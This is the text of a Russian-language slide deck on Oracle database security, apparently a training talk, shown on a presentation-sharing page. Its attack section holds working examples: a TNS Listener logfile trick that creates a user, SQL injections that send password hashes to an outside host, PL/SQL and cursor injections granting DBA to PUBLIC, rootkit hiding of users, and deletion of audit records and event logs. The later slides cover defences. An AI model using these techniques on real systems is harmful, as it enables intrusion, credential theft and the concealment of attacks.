безопасность веб проектов   сергей рыжиковбезопасность веб проектов   сергей рыжиков
безопасность веб проектов сергей рыжиков
 
безопасность
безопасностьбезопасность
безопасность
 
DUMP-2012 - Веб-разработка - "Что мы знаем о производительности и безопасност...
DUMP-2012 - Веб-разработка - "Что мы знаем о производительности и безопасност...DUMP-2012 - Веб-разработка - "Что мы знаем о производительности и безопасност...
DUMP-2012 - Веб-разработка - "Что мы знаем о производительности и безопасност...
 
Экранирование локальных пользователей при выходе в публичные сети: эталонная ...
Экранирование локальных пользователей при выходе в публичные сети: эталонная ...Экранирование локальных пользователей при выходе в публичные сети: эталонная ...
Экранирование локальных пользователей при выходе в публичные сети: эталонная ...
 
Безопасность
БезопасностьБезопасность
Безопасность
 
Сертификаты подписания кода Symantec
Сертификаты подписания кода SymantecСертификаты подписания кода Symantec
Сертификаты подписания кода Symantec
 
WatchGuard Authpoint
WatchGuard Authpoint WatchGuard Authpoint
WatchGuard Authpoint
 
Как разработчику обеспечить безопасность пользователей и данных в мобильном м...
Как разработчику обеспечить безопасность пользователей и данных в мобильном м...Как разработчику обеспечить безопасность пользователей и данных в мобильном м...
Как разработчику обеспечить безопасность пользователей и данных в мобильном м...
 
Data line security_as_a_service
Data line security_as_a_serviceData line security_as_a_service
Data line security_as_a_service
 
Демонстрация комплексной системы контроля проводного и беспроводного доступа ...
Демонстрация комплексной системы контроля проводного и беспроводного доступа ...Демонстрация комплексной системы контроля проводного и беспроводного доступа ...
Демонстрация комплексной системы контроля проводного и беспроводного доступа ...
 
Ключевые особенности сертификации по PA-DSS
Ключевые особенности сертификации по PA-DSSКлючевые особенности сертификации по PA-DSS
Ключевые особенности сертификации по PA-DSS
 
Инфоберег. Будущее аутентификации - сегодня
Инфоберег. Будущее аутентификации - сегодняИнфоберег. Будущее аутентификации - сегодня
Инфоберег. Будущее аутентификации - сегодня
 
Gemalto - SAM (SafeNet Authentication Manager)
Gemalto - SAM (SafeNet Authentication Manager)Gemalto - SAM (SafeNet Authentication Manager)
Gemalto - SAM (SafeNet Authentication Manager)
 
1 c logon
1 c logon1 c logon
1 c logon
 
1 cv8logon
1 cv8logon1 cv8logon
1 cv8logon
 
Аутентификация
АутентификацияАутентификация
Аутентификация
 
Postroenie kompleksnoj sistemy obespechenija informacionnoj bezopasnosti v vi...
Postroenie kompleksnoj sistemy obespechenija informacionnoj bezopasnosti v vi...Postroenie kompleksnoj sistemy obespechenija informacionnoj bezopasnosti v vi...
Postroenie kompleksnoj sistemy obespechenija informacionnoj bezopasnosti v vi...
 

Similar a Database security

13 расширенные возможности корпоративных приложений, основы субд
13 расширенные возможности корпоративных приложений, основы субд13 расширенные возможности корпоративных приложений, основы субд
13 расширенные возможности корпоративных приложений, основы субд
KewpaN
 
McAfee Database Security
McAfee Database SecurityMcAfee Database Security
McAfee Database Security
Andrei Novikau
 
И снова разработка под iOS. Павел Тайкало
И снова разработка под iOS. Павел ТайкалоИ снова разработка под iOS. Павел Тайкало
И снова разработка под iOS. Павел Тайкало
Stanfy
 
Код безопасности. Иван Бойцов. "Как обеспечить комплексную защиту на 5-ти уро...
Код безопасности. Иван Бойцов. "Как обеспечить комплексную защиту на 5-ти уро...Код безопасности. Иван Бойцов. "Как обеспечить комплексную защиту на 5-ти уро...
Код безопасности. Иван Бойцов. "Как обеспечить комплексную защиту на 5-ти уро...
Expolink
 
From ERP to SCADA and back
From ERP to SCADA and backFrom ERP to SCADA and back
From ERP to SCADA and back
qqlan
 
Построение защищенного Интернет-периметра
Построение защищенного Интернет-периметраПостроение защищенного Интернет-периметра
Построение защищенного Интернет-периметра
Cisco Russia
 
Код безопасности. Иван Бойцов. "Secret Net Studio - Комплексная защита конечн...
Код безопасности. Иван Бойцов. "Secret Net Studio - Комплексная защита конечн...Код безопасности. Иван Бойцов. "Secret Net Studio - Комплексная защита конечн...
Код безопасности. Иван Бойцов. "Secret Net Studio - Комплексная защита конечн...
Expolink
 
Embarcadero All-Access
Embarcadero All-AccessEmbarcadero All-Access
Embarcadero All-Access
Serghei Urban
 
Drupal -organizaciya_razrabotki
Drupal  -organizaciya_razrabotkiDrupal  -organizaciya_razrabotki
Drupal -organizaciya_razrabotki
drupalconf
 

Similar a Database security (20)

Оптимизация производительности среды VDI
Оптимизация производительности среды VDIОптимизация производительности среды VDI
Оптимизация производительности среды VDI
 
13 расширенные возможности корпоративных приложений, основы субд
13 расширенные возможности корпоративных приложений, основы субд13 расширенные возможности корпоративных приложений, основы субд
13 расширенные возможности корпоративных приложений, основы субд
 
McAfee Database Security
McAfee Database SecurityMcAfee Database Security
McAfee Database Security
 
И снова разработка под iOS. Павел Тайкало
И снова разработка под iOS. Павел ТайкалоИ снова разработка под iOS. Павел Тайкало
И снова разработка под iOS. Павел Тайкало
 
Миграция БД - практический_подход с инструментами Embarcadero
Миграция БД - практический_подход с инструментами EmbarcaderoМиграция БД - практический_подход с инструментами Embarcadero
Миграция БД - практический_подход с инструментами Embarcadero
 
Код безопасности. Иван Бойцов. "Secret Net Studio - Комплексная защита конечн...
Код безопасности. Иван Бойцов. "Secret Net Studio - Комплексная защита конечн...Код безопасности. Иван Бойцов. "Secret Net Studio - Комплексная защита конечн...
Код безопасности. Иван Бойцов. "Secret Net Studio - Комплексная защита конечн...
 
Код безопасности. Иван Бойцов. "Как обеспечить комплексную защиту на 5-ти уро...
Код безопасности. Иван Бойцов. "Как обеспечить комплексную защиту на 5-ти уро...Код безопасности. Иван Бойцов. "Как обеспечить комплексную защиту на 5-ти уро...
Код безопасности. Иван Бойцов. "Как обеспечить комплексную защиту на 5-ти уро...
 
CloudsNN 2014. Андрей Бешков. Защита ваших данных в Office 365.
CloudsNN 2014. Андрей Бешков. Защита ваших данных в Office 365.CloudsNN 2014. Андрей Бешков. Защита ваших данных в Office 365.
CloudsNN 2014. Андрей Бешков. Защита ваших данных в Office 365.
 
Тестирование на проникновение в сетях Microsoft (v.2)
Тестирование на проникновение в сетях Microsoft (v.2)Тестирование на проникновение в сетях Microsoft (v.2)
Тестирование на проникновение в сетях Microsoft (v.2)
 
Мониторинг доступа к данным по стандарту PCI DSS
Мониторинг доступа к данным по стандарту PCI DSSМониторинг доступа к данным по стандарту PCI DSS
Мониторинг доступа к данным по стандарту PCI DSS
 
From ERP to SCADA and back
From ERP to SCADA and backFrom ERP to SCADA and back
From ERP to SCADA and back
 
Код безопасности. Иван Бойцов. "Secret Net Studio - Комплексная защита конечн...
Код безопасности. Иван Бойцов. "Secret Net Studio - Комплексная защита конечн...Код безопасности. Иван Бойцов. "Secret Net Studio - Комплексная защита конечн...
Код безопасности. Иван Бойцов. "Secret Net Studio - Комплексная защита конечн...
 
Построение защищенного Интернет-периметра
Построение защищенного Интернет-периметраПостроение защищенного Интернет-периметра
Построение защищенного Интернет-периметра
 
Код безопасности. Иван Бойцов. "Secret Net Studio - Комплексная защита конечн...
Код безопасности. Иван Бойцов. "Secret Net Studio - Комплексная защита конечн...Код безопасности. Иван Бойцов. "Secret Net Studio - Комплексная защита конечн...
Код безопасности. Иван Бойцов. "Secret Net Studio - Комплексная защита конечн...
 
Example 14
Example 14Example 14
Example 14
 
Atlas управление безопасностью СУБД на основе решений Guardium
Atlas управление безопасностью СУБД на основе решений GuardiumAtlas управление безопасностью СУБД на основе решений Guardium
Atlas управление безопасностью СУБД на основе решений Guardium
 
Управление данными (распределенная обработка)
Управление данными (распределенная обработка)Управление данными (распределенная обработка)
Управление данными (распределенная обработка)
 
Embarcadero All-Access
Embarcadero All-AccessEmbarcadero All-Access
Embarcadero All-Access
 
Drupal -organizaciya_razrabotki
Drupal  -organizaciya_razrabotkiDrupal  -organizaciya_razrabotki
Drupal -organizaciya_razrabotki
 
SQL Server Security Best Practices - Евгений Недашковский
SQL Server Security Best Practices - Евгений НедашковскийSQL Server Security Best Practices - Евгений Недашковский
SQL Server Security Best Practices - Евгений Недашковский
 

Más de Mikhail Vanin (6)

ТОИБАС. Семинар 1. Моделирование угроз
ТОИБАС. Семинар 1. Моделирование угрозТОИБАС. Семинар 1. Моделирование угроз
ТОИБАС. Семинар 1. Моделирование угроз
 
Семинар по Federated Identity Management
Семинар по Federated Identity ManagementСеминар по Federated Identity Management
Семинар по Federated Identity Management
 
тезисы к докладу по электронной аутентификации в государственных системах
тезисы к докладу по электронной аутентификации в государственных системахтезисы к докладу по электронной аутентификации в государственных системах
тезисы к докладу по электронной аутентификации в государственных системах
 
Cloud Access Management
Cloud Access ManagementCloud Access Management
Cloud Access Management
 
Cloud security
Cloud securityCloud security
Cloud security
 
Семинар по IdM
Семинар по IdMСеминар по IdM
Семинар по IdM
 

Database security

  • 2. Некоторые  факты  о  безопасности  БД   •  Ежегодное  двухкратное  увеличение  объема  БД  (2011  год  ~   1800  экзабайт)   •  Увеличивающиеся  объемы  утечек  данных  (утечка  более  300   млн.  записей  с  персональными  данными  за  2008  год,  рост   630%  за  3  года)   •  Повышение  нормативных  требований  в  области  ИБ   •  87%  БД  взломаны  через  уязвимости  ОС   •  >  80%  атак  совершены  внутренними  нарушителями   •  Раскрывается  менее  1%  атак,  совершенных   профессионалами   •  Только  10%  стандартных  способов  взлома  становятся   общеизвестными   •  Нетехнические  атаки  наиболее  эффективны  
  • 3. Классификация  угроз  БД   Угрозы  бизнес-­‐ процессов   Угрозы   приложений   Угрозы  СУБД   Угрозы  ОС   Угрозы   серверной   инфраструкту ры  
  • 4. Сходство  СУБД  и  ОС   В  СУБД  и  в  ОС  есть:   •  пользователи   •  процессы   •  задания  (jobs)   •  выполняемый  программный  код   •  символьные  ссылки  (links)   Если  СУБД  –  это  разновидность  ОС,  то:   •  применимые  к  ОС  угрозы  применимы  и  к  СУБД  с   определенными  особенностями   •  в  СУБД  есть  вирусы   •  в  СУБД  есть  руткиты  
  • 5. Этапы  процесса  взлома  СУБД   Проникновение  в   Эскалация   Закрепление  в   Скрытие  следов   Сбор  информации   СУБД   полномочий   системе   проникновения   Определение:   Определение:   ü Эскалация   ü Внедрение   Удаление  следов   привилегий   средств  для   проникновения  в   ü ОС;   ü SID  базы  данных;   текущего   сокрытия   систему  из:   ü доступных  служб;   ü имени   пользователя    до   посторонней   ü подсистемы   ü версии  СУБД   пользователя  СУБД;   роли  DBA.   активности  в   аудита  СУБД;   ü пароля   ü Получение   системе.   ü конфигурации     ü журналов  СУБД;   СУБД;   пользователя  СУБД.   пароля   пользователя   ü журналов  ОС.   ü других  продуктов  и   обладающего   сторонних   ролью  DBA.     производителей.  
  • 7. Проникновение  в  СУБД   Проникновение  в  СУБД   Служба  Listener   Web-­‐приложения   Определение  SID   Определение  SID   Определение  SID,   Специфичные  атаки  на   перебором  по  словарю/ поиском  в  настройках   пользователя  и  пароля  с   СУБД   полным  перебором   Web  -­‐приложений   помощью  SQL-­‐инъекций     Определение  имени   Определение  пароля   пользователя   перебором  по  словарю/ перебором  по  словарю/ полным  перебором     полным  перебором  
  • 8. Пример  специфичной  для  СУБД  Oracle  Database  атаки  -­‐   создание  пользователя  через  set  log_file   Изменение имени лог-файла службы TNS Listener на glogin.sql tnscmd10g.pl --rawcmd “((DESCRIPTION=((CONNECT_DATA=(CID= (PROGRAM=)(HOST=)(USER=))((COMMAND=LOGFILE)(ARGUMENTS=4) (SERVICE=LISTENER)(VERSION=1)(VALUE=/u01/app/oracle/product/10.2.0/db_1/sqlplus/ admin/glogin.sql))” -h 10.0.116.175 Отправка ошибочной низкоуровневой команды службе TNS Listener tnscmd10g.pl –h 10.0.116.175 –rawcmd “(CONNECT_DATA=(( set term off create user dbhack identified by oracle_1 set term on “ Изменение имени лог-файла службы TNS Listener на оригинальный tnscmd10g.pl --rawcmd “((DESCRIPTION=((CONNECT_DATA=(CID= (PROGRAM=)(HOST=)(USER=))((COMMAND=LOGFILE)(ARGUMENTS=4) (SERVICE=LISTENER)(VERSION=1)(VALUE=/u01/app/oracle/product/10.2.0/db_1/network/ log/listener.log))” -h 10.0.116.175
  • 9. SQL-­‐инъекции  в  Web-­‐приложениях   •  Результат  выполнения  SQL-­‐инъекции  возвращается  в  браузер.   Данные  могут  выводиться  в  стандартный  вывод  или  в  сообщение   Inband   об  ошибке   •  Для  вывода  результата  выполнения  SQL-­‐инъекции  используются   различные  каналы  такие,  как  HTTP,  DNS  и  т.д.  С  помощью  данного   Out-­‐of-­‐Band   подхода  возможна  передача  большого  объема  данных.   •  Различные  характеристики  запроса  такие,  как  время  выполнения/ Blind   результат  используются  для  получения  данных  из  СУБД.  
  • 10. Inband  SQL-­‐инъекции   •  Метод основанный на использовании оператора UNION. Измененный URL-запрос: http://webapp.com/order.jsp?id=17' UNION SELECT name FROM TABLE-- Запрос, сконструированный Web-приложением: SELECT * FROM table WHERE id=’17‘ UNION SELECT name FROM USERS-- •  Метод основанный на выводе результатов в сообщении об ошибке. Замена строки на подзапрос для модификации сообщения об ошибке: http://webapp.com/order.cfm?id=17||utl_inaddr.get_host_name((select banner from v $version where rownum=1)) Сообщение об ошибке: Message: Error Executing Database Query. Native error code: 29257 Detail: [Macromedia][Oracle JDBC Driver][Oracle] ORA-29257: host Oracle Enterprise Edition 10.1.0.5 for Solaris unknown ORA-06512: at "SYS.UTL_INADDR", line 35 ORA-06512: at "SYS.UTL_INADDR", line 35 ORA-06512: at line 1
  • 11. Out-­‐of-­‐Band  SQL-­‐инъекции   Отправка результатов SQL-инъекции на внешний сайт с помощью UTL_HTTP: select utl_http.request ('http://www.sqlhack.com/'|| (select password from dba_users where rownum=1)) from dual; Отправка результатов SQL-инъекции на внешний сайт с помощью HTTPURITYPE: select HTTPURITYPE( 'http://www.sqlhack.com/'|| (select password from dba_users where rownum=1) ).getclob() from dual; Отправка результатов SQL-инъекции c помощью DNS- запроса (макс. 64 байта): select utl_http.request ('http://www.'||(select password from dba_users where rownum=1)||'.sqlhack.com/' ) from dual; DNS-запрос: www.B3B4C4D878234234234.sqlhack.com
  • 12. Blind  SQL-­‐инъекции   Пример возможностей для Blind SQL-инъекций: •  DECODE: •  CASE. Пример псевдокода при использовании разницы во времени выполнения для получения информации: If the first character of the sys-hashkey is a 'A‘ then select count(*) from all_objects else select count(*) from dual end if; Пример: select decode(substr(user,1,1),'S',(select count(*) from all_objects),0) from dual; Elapsed: 00:00:00.00 select decode(substr(user,1,1),'A',(select count(*) from all_objects),0) from dual; Elapsed: 00:00:22.50
  • 14. Эскалация  привилегий   (специфично  для  СУБД)   Основные  внутренние  уязвимости  СУБД  Oracle,  позволяющие   эскалировать  привилегии  до  роли  DBA  или  получить  пароль   пользователя  имеющего  роль  DBA:     •   PL/SQL-­‐инъекции;   •   Cursor-­‐инъекции;   •   Cursor  snarfing;   •   Модификация  таблиц  доступных  только  на  чтение;   •   UTL_TCP  +  TNL  Listener    +  set  log_file;   •   DBMS_SCHEDULER  +  SQLPLUS  /  AS  SYSDBA.  
  • 15. PL/SQL-­‐инъекции   Типовая PL/SQL-инъекция через пользовательскую функцию. Необходима привилегия CREATE PROCEDURE. CREATE OR REPLACE FUNCTION F1 return number authid current_user as pragma autonomous_transaction; BEGIN EXECUTE IMMEDIATE 'GRANT DBA TO PUBLIC'; COMMIT; RETURN 1; END; / exec sys.kupw$WORKER.main('x','YY'' and 1=user12.f1 -- hitb2007');
  • 16. Cursor-­‐инъекции   Типовая Cursor-инъекция. Для реализации достаточно обладать только ролью CONNECT. DECLARE MYC NUMBER; BEGIN MYC := DBMS_SQL.OPEN_CURSOR; DBMS_SQL.PARSE(MYC, 'declare pragma autonomous_transaction; begin execute immediate ''grant dba to public''; commit;end;',0); sys.KUPW$WORKER.MAIN('x',''' and 1=dbms_sql.execute('|| myc||')--'); END;
  • 17. Cursor  snarfing   Пример процедуры, некорректно Пример кода извлекающего данные из обрабатывающей курсор. некорректно обработанного курсора. CREATE OR REPLACE PROCEDURE GET_USERHASH(l_USER VARCHAR2) IS DECLARE CURSOR_NAME INTEGER; CURSOR_NAME INTEGER; v_HASH VARCHAR2(32); i_CNT INTEGER; i_CNT INTEGER; v_HASH VARCHAR2(30); BEGIN BEGIN IF l_USER != 'SYS' THEN CURSOR_NAME := 9; CURSOR_NAME := DBMS_SQL.OPEN_CURSOR; DBMS_SQL.BIND_VARIABLE(CURSOR_NAME, DBMS_OUTPUT.PUT_LINE('CURSOR NAME: ':i','SYS'); '||CURSOR_NAME); DBMS_SQL.DEFINE_COLUMN(CURSOR_NAME, DBMS_SQL.PARSE(CURSOR_NAME,'SELECT PASSWORD 1,v_HASH,30); FROM SYS.DBA_USERS WHERE i_CNT := DBMS_SQL.EXECUTE(CURSOR_NAME); USERNAME = :i', IF DBMS_SQL.FETCH_ROWS(CURSOR_NAME) > 0 DBMS_SQL.NATIVE); THEN DBMS_SQL.BIND_VARIABLE(CURSOR_NAME, DBMS_SQL.COLUMN_VALUE(CURSOR_NAME, ':i',l_USER); 1,v_HASH); DBMS_SQL.DEFINE_COLUMN(CURSOR_NAME, END IF; 1,v_HASH,30); DBMS_SQL.CLOSE_CURSOR(CURSOR_NAME); i_CNT := DBMS_SQL.EXECUTE(CURSOR_NAME); DBMS_OUTPUT.PUT_LINE('HASH: '||v_HASH); IF DBMS_SQL.FETCH_ROWS(CURSOR_NAME) > 0 THEN END; DBMS_SQL.COLUMN_VALUE(CURSOR_NAME,1,v_HASH); DBMS_OUTPUT.PUT_LINE('HASH: '||v_HASH); END IF; DBMS_SQL.CLOSE_CURSOR(CURSOR_NAME); END IF; END;
  • 18. Модификация  таблиц  доступных  только  на  чтение   При использовании специальным образом созданных представлений возможно выполнение операций INSERT/ DELETE/UPDATE над таблицами, доступными только для операции SELECT. CREATE VIEW V_HTABLE AS SELECT a.* FROM SYS.HTABLE a, SYS.HTABLE b WHERE a.id = b.id; INSERT INTO V3_HTABLE(ID,TEXT) VALUES (3,'TEXT 3'); COMMIT;
  • 20. Закрепление  в  системе   Руткит – программа или набор программ для скрытия следов присутствия злоумышленника или вредоносной программы в системе. Три поколения руткитов: q  Первое поколение Изменения в словарях данных (модификация представлений и процедур/изменение синонимов). q  Второе поколение Модификация бинарных файлов. q  Третье поколение Модификация данных непосредственно в серверной памяти (использование API, позволяющего модифицировать данные в памяти).
  • 21. Руткиты  первого  поколения     (скрытие  пользователей  базы  данных)   Создание пользователя. SQL> create user hacker identified by hacker; SQL> grant dba to hacker; Список пользователей SQL> select username from dba_users; USERNAME ------------------------------ DBSNMP EXFSYS HACKER ORDSYS SYS SYSTEM […]
  • 22. Руткиты  первого  поколения     (скрытие  пользователей  базы  данных)   Enterprise Manager (Java) Database Control (Web)
  • 23. Руткиты  первого  поколения     (скрытие  пользователей  базы  данных)   Добавляем дополнительное условие в представление SYS.DBA_USERS
  • 24. Руткиты  первого  поколения     (скрытие  пользователей  базы  данных)   Enterprise Manager (Java) Database Control (Web)
  • 25. Руткиты  второго  поколения     (Модификация  бинарных  файлов  СУБД)   При попытки входа в систему процесс СУБД считывает аутентификационные данные из таблицы sys.user$ и сравнивает их с данными введенными пользователем.
  • 26. Руткиты  второго  поколения     (Модификация  бинарных  файлов  СУБД)   Заменяем в системном бинарном файле СУБД все вхождения строки sys.user$ на sys.аser$.
  • 27. Руткиты  второго  поколения     (Модификация  бинарных  файлов  СУБД)   Администраторы безопасности и утилиты, используемые для анализа безопасности, проверяют таблицу sys.user$. Системный процесс СУБД использует таблицу sys.aser$, содержащую скрытого пользователя.
  • 29. Скрытие  следов  проникновения   Использование специального комментария в запросах для упрощения поиска записей в таблицах аудита. select /* HITB2007 */ * from dba_users; Удаление записей, содержащих запросы, помеченные специальным комментарием, из таблиц аудита (sys.aud$, sys.fga_log$) delete from sys.aud$ where lower(sqltext) like ‘%hitb2007%’; Удаление записей из журнала ОС специальным скриптом запущенным с помощью DBMS_SCHEDULER. Option Explicit On Error Resume Next Dim LogType, EventLog, Entry Set EventLog = GetObject("winmgmts: {impersonationLevel=impersonate}").ExecQuery _("select * from Win32_NTEventLogFile where LogfileName='Application'") For each Entry in EventLog Entry.ClearEventlog() Next WScript.Quit Очистка лога DBMS_SCHEDULER. exec DBMS_SCHEDULER.PURGE_LOG;
  • 31. Методы  защиты  СУБД   Защита  серверной  инфраструктуры  и  ОС   Защита  СУБД   Безопасное   Функции  и  опции   Межсетевое   Криптографическая   конфигурирование   безопасности  СУБД   экранирование   Database  firewall   Аудит   защита  данных   Защита  приложений   Безопасное  кодирование  и  стандарты   Инспекция  скриптов  БД   разработки   Параметры  приложений   Управление  безопасностью   Контроль  целостности   Аудит  событий  ИБ   Управление  полномочиями   Работа  с  персоналом  
  • 33. Механизмы разграничения доступа •  Дискреционное разграничение доступа •  Виртуальные частные БД (VPD, FGAC, RLS, CLS) БД Oracle
  • 34. Дискреционное разграничение доступа БД Oracle Объектные привилегии Системные привилегии Пользователи
  • 40. Fine-Grained Access Control (VPD) Ограничение  доступа  к  строкам  (FGAC  RLS)   Ограничение  доступа  к  столбцам  (FGAC  CLS)  
  • 41. Виртуальные частные БД Исходный запрос Проверка VPD: таблица: orders SELECT * DML: SELECT FROM orders 1) Пользователь выполняет запрос 2) Oracle проверяет наличие VPD- правила для данной таблицы Правило Измененный запрос SELECT * return ‘deptno = FROM orders sys_context(‘‘emp_ctx‘‘, WHERE (deptno=sys_context ‘‘dept_no‘‘)‘; (‘epm_ctx‘,‘dept_no‘) 3) вызывается ф-ция myApp_SelPol 4) Oracle модифицировал запрос в соответствии с VPD-правилом
  • 42. Встроенные возможности протоколирования и аудита •  Обязательный  аудит   •  Аудит  Базы  Данных   •  Value-­‐based  audi‡ng  (триггеры  БД)   •  Fine-­‐grained  audi‡ng  (FGA)  
  • 43. Аудит пользователей SYSDBA и SYSOPER •  Пользователи  DBA  могут  быть  подключены  к  закрытой  БД   –  хранилище  аудита  должно  быть  вне  БД     •  Соединения  как  SYSDBA  /  SYSOPER  всегда   протоколируются     •  Включается  дополнительное  протоколирование  действий   DBA  с  audit_sys_opera‡ons   •  Хранилище  журнала  аудита  задается  audit_file_dest.  По   умолчанию:    -­‐  $ORACLE_HOME/rdbms/audit  (UNIX/Linux)    -­‐  Windows  Event  Log  (Windows)  
  • 44. Стандартный аудит БД •  Протоколирование  использования   привилегий  пользователями  для   осуществления  доступа.   •  Настраивается  командами  AUDIT  /  NOAUDIT   •  Журнал  хранится  в  SYS.AUD$.  Доступ  через   представления  (DBA_AUDIT_TRAIL)  
  • 45. FGA-аудит (аудит доступа к ячейкам таблицы)
  • 48. Опции безопасности Oracle Database Oracle Database Vault Oracle Label Security Oracle Advanced Security
  • 49. Oracle Database Vault ограничение  доступа  к  данным  приложений  со  стороны  администраторов   базы  данных  (DBA)     ограничение  полномочий  схем-­‐владельцев  объектов   обеспечение  доступа  к  данным  на  основе  динамически  настраиваемых   правил,  зависящих  от  различных  факторов  (IP-­‐адреса,  время,  метки  OLS)   разные  полномочия  в  зависимости  от  работающего  приложения  (secure   applica}on  role)     разделение  полномочий  пользователей  в  соответствии  с  их   функциональными  обязанностями  и  внутренний  контроль  
  • 50. Функциональные элементы Защищенные области Мониторинг Многофакторная авторизация Аудит Динамическая Разграничение настройка правил безопасности по служебным обязанностям
  • 51. Учетные записи DV_OWNER и DV_ACCTMGR DV_OWNER: DV_ACCTMGR: •  Соединение с Database Vault •  Создание учетных Administrator записей пользователей •  Модификация конфигурации •  Управление паролями Database Vault учетных записей пользователей •  Отключение компонент безопасности / аудита
  • 52. Пример использования защищенных областей Администратор БД (ADM_DBA) обращается к данным в схеме HR select * from HR.emp ADM_DBA Соответствие нормативным требованиям и стандартам внутреннего аудита HR HR Пользователь HR_DBA HR_DBA обращается к данным в схеме FIN или желает получить доступ к области HR во FIN внерабочее время FIN FIN_DBA Безопасная консолидация приложений на одном сервере
  • 53. Создание защищенной области HR_DBA Создание DBA роли REALM create role HR_DBA Имя: Области grant dba to Текстовый комментарий HR_DBA Статус использования: Да / Нет Создание области Опции аудита: Нет / При ошибках / Всегда CREATE_REALM Определение Имя: Схемы объекта списка защищаемых Тип объекта: TABLE,ROLE,VIEW… объектов Имя: Объекта ADD_OBJECT_TO_REAL M Определение Имя: Пользователя или Роли Тип Пользователя: Участник / Владелец списка защищаемых Зависимость типа авторизации от правил пользователей ADD_AUTH_TO_REALM
  • 54. Правила выполнения команд Запрет  использования   •  DDL  выражений  (команд)   •  Для  указанных  или  всех  объектов   Результат  контроля  регистрируется  в  данных  аудита   Потенциальные  возможности  применения   •  Разрешение  применения  команд  в  соответствии  с  функциональными   обязанностями  (если  DBA  не  должен  управлять  пользователями,  то   команды  CREATE  USER,  ALTER  USER  запрещаются)   •  Как  инструмент  организации  бизнес-­‐процедур   •  Запрет  использования  управляющих  DDL  команд  в  отношении   используемых  таблиц  в  «рабочие  часы»   •  Сохранение  структуры  защищаемых  данных  и  контроль  (аудит)  за   проводимыми  в  них  изменениями  (отвечает  требованиям  SOX  или  HIPPA)  
  • 55. Контролируемые команды  Alter  Database  Alter  Database  Alter  Table   Alter  Func}on  Audit    Alter  Tablespace   Alter  Package  Body  Alter  Procedure  Alter  Profile   Alter  Session  Alter  System  Alter  Synonym   Alter  Table    Alter  Trigger    Alter  User   Password    Alter  Tablespace  Alter  View   Change  Password  Connect    Comment   Create  Func}on  Create  Index  Create  Package   Create  Database  Link  Create  Procedure  Create  Role   Create  Package  Body  Create  User    Create  View   Create  Table    Grant    Insert   Noaudit    Rename    Lock  Table   Create  Tablespace  Create  Trigger  Truncate  Table   Update    Insert    Delete   Execute    Select  
  • 56. Группы правил create_rule_set Rule_set Создание группы Правил группа Правил create_rule Rule A правило Создание Правила «А» Rule B правило Создание Правила «B» Rule C правило Создание Правила «C» Создание СПИСКА правил Опции ü результат (ALL true или ANY true) (в порядке выполнения) ü отображение сообщения об ошибке и его текст в группе ü использование Custom Event Handler add_rule_to_rule_set
  • 57. Факторы Базовые  блоки  для  реализации  мандатного  способа  доступа  (MAC)   •  Доступны  в  приложениях  через  PL/SQL  функции   •  Используются  при  создании  Oracle  Database  Vault  для  обеспечения  безопасности   приложений   •  Администратор  может  управлять  Oracle  Database  Vault  MAC  с  использованием   GUI  или  PL/SQL  API   •  Защита  данных  и  аудит  нарушений  требований  политик  безопасности,  бизнес-­‐ процедур.  (SOX,HIPPA)   Атрибуты  и  опции  конфигурации   •  Retrieval  Method  –  PL/SQL  выражение  (функция)   •  Valida}on  Method  –  PL/SQL  выражение  (функция)   •  Iden}fied  By  –  интеграция  с  другими  факторами   •  Labeled  By  –  интеграция  с  Oracle  Label  Security  или  VPD  
  • 58. Предопределенные факторы Authentication Session Database Client IP Name Method User Database Database Domain Machine Name Instance Proxy Network Enterprise Database IP Enterprise Protocol Identity Identity Database Language Hostname Date Time
  • 59. Secure application role secure  applica}on  role  –  это  роль  БД,  которую  можно   включить  только  используя  специальную  PL/SQL  процедуру   Database  Vault  Administrator  может  создать  роли,  включение   которых  зависит  от  определенных  наборов  правил   приложения  могут  использовать  Database  Vault  API  для   установки  роли   с  ролью  могут  быть  ассоциированы  необходимые   привилегии  
  • 62. Oracle Label Security Эффективное  средство  обеспечения  доступа  на  уровне  строк   Отвечает  строгим  требованиям  государственных  и  коммерческих  организаций   Данным  присваиваются  специальные  метки   Гибкая  настройка  с  помощью  GUI  или  API     Нет  необходимости  кодировать  логику  на  PL/SQL   Политика  безопасности  выборочна  и  применяется  когда  необходимо   Гранулированность  меток   Соответствует  ISO/IEC  15408  Common  Criteria  EAL  
  • 63. Политики безопасности Политика  –  имя,  ассоциированное  с  набором  меток  для  авторизации  пользователей  и   защищаемых  объектов   В  одной  базе  данных  с  OLS  может  быть  определено  множество  политик   Каждая  политика  ассоциируется  с  уникальным  именем  столбца  защищаемой  таблицы,   который  добавляется  в  защищаемую  таблицу  (может  использоваться  имеющийся  столбец)   •  столбец  может  быть  скрыт   •  тип  данных  столбца  -­‐  number(10)   Политики  применимы  к  таблицам  и  схемам  
  • 64. Мандатное разграничение доступа Структура метки: •  уровень (несекретно, конфиденциально, секретно, сов.секретно, особой важности) •  категория (финансовая, административная, военная) •  группа (руководство, рядовые сотрудники) Пример метки: TS:FIN,ADM:CHIEF
  • 65. Мандатное разграничение доступа Пояснение: группа WR_SAL входит в группу WR
  • 66. Oracle Advanced Security •  Прозрачное шифрование данных в БД (TDE) •  Поддержка взаимной аутентификации •  Поддержка single sign-on •  Поддерживает следующих технологий аутентификации: - Public key infrastructure (PKI) - RADIUS - Kerberos - Token и smart карты - Biometrics - Distributed Computing Environment •  Интегрировано с Oracle Net Services
  • 67. Особенности прозрачного шифрования данных в БД (TDE) Приложение Шифрование данных, передаваемых по сети При записи данных они Преобразование данных преобразуются к к простому формату защищенному формату при чтении Резервные копии данных сохраняются в защищенном формате
  • 68. Права доступа Пароль для доступа к данным отличается от System и DBA паролей Нет доступа к wallet Database DBA Доступ к данным Мастер-ключ разрешен Пароль
  • 69. Ключи Ключи для колонок защищены мастер-ключем Мастер-ключ хранится в PKCS#12 wallet Защищенные колонки таблиц
  • 70. Создание ключа шифрования Создать wallet и сгенерировать мастер-ключ: alter system set key identified by “oracle_1” Открыть wallet: alter system set wallet open identified by “oracle_1”
  • 71. Защита колонок Защита колонки в существующей таблице: alter table credit_rating modify (person_id encrypt); Создание новой таблицы с защищенной колонкой: create table orders ( order_id number (12), customer_id number(12), credit_card varchar2(16) encrypt);
  • 72. Индексирование для защищенных колонок Alter table credit_rating modify (person_id encrypt no salt) Create index person_id_idx on credit_rating (PERSON_ID) Select score from credit_rating where PERSON_ID='235901'; Не требуется изменять приложение
  • 73. Алгоритмы шифрования Алгоритм защиты по умолчанию - AES 192-bit alter table credit_rating modify (person_id encrypt); Создание новой таблицы с использованием других алгоритмов защиты: create table employee ( first_name varchar2(64), last_name varchar2(64), empID NUMBER encrypt using ‘AES256’, salary NUMBER(6) encrypt using ‘AES256‘)